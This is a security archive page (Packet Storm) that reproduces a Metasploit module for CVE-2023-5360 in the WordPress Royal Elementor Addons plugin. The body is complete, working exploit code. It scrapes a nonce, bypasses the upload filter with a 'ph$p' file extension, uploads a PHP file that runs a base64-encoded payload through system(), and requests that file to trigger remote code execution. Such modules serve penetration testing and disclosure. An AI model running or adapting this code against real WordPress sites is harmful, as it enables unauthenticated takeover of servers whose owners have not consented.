what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Royal Elementor Addons And Templates Remote Shell Upload

WordPress Royal Elementor Addons And Templates Remote Shell Upload
Posted Nov 29, 2023
Authored by Valentin Lobstein, Fioravante Souza | Site metasploit.com

WordPress Royal Elementor Addons and Templates plugin versions prior to 1.3.79 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2023-5360
SHA-256 | 514871b05ceb1ed65e97c420f4e9a96957ce2443102fd59ba2de86664048ea50

WordPress Royal Elementor Addons And Templates Remote Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Royal Elementor Addons RCE',
'Description' => %q{
Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
},
'Author' => [
'Fioravante Souza', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-5360'],
['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],
['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
],
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-11-23',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version

check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

if check_code.code != 'appears'
return CheckCode::Safe
end

plugin_version = check_code.details[:version]
print_good("Detected Royal Elementor Addons version: #{plugin_version}")
return CheckCode::Appears
end

def exploit
print_status('Attempting to retrieve nonce...')
nonce = retrieve_nonce

print_status('Sending payload')
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')

data = {
'action' => 'wpr_addons_upload_file',
'max_file_size' => rand(10001),
'allowed_file_types' => 'ph$p',
'triggering_event' => 'click',
'wpr_addons_nonce' => nonce
}

file_content = '<?php '
file_content << (payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));")
file_content << '?>'

file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p"

post_data = Rex::MIME::Message.new
post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"")
data.each_pair do |key, value|
post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"")
end

res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

unless res
fail_with(Failure::Unreachable, 'No response received from the target')
end

if res.code == 200 && res.body.include?('success')
print_good('Payload uploaded successfully')
response_data = JSON.parse(res.body)
if response_data.key?('data') && response_data['data'].key?('url')
file_url = response_data['data']['url']
print_status('Triggering the payload')
send_request_cgi({
'uri' => file_url,
'method' => 'GET'
})

else
fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end

def retrieve_nonce
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')

fail_with(Failure::Unreachable, 'No response received from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200

match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/)
fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil?

nonce = JSON.parse(match[1])['nonce']
fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil?

print_good("Nonce found in response: #{nonce.inspect}")
nonce
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close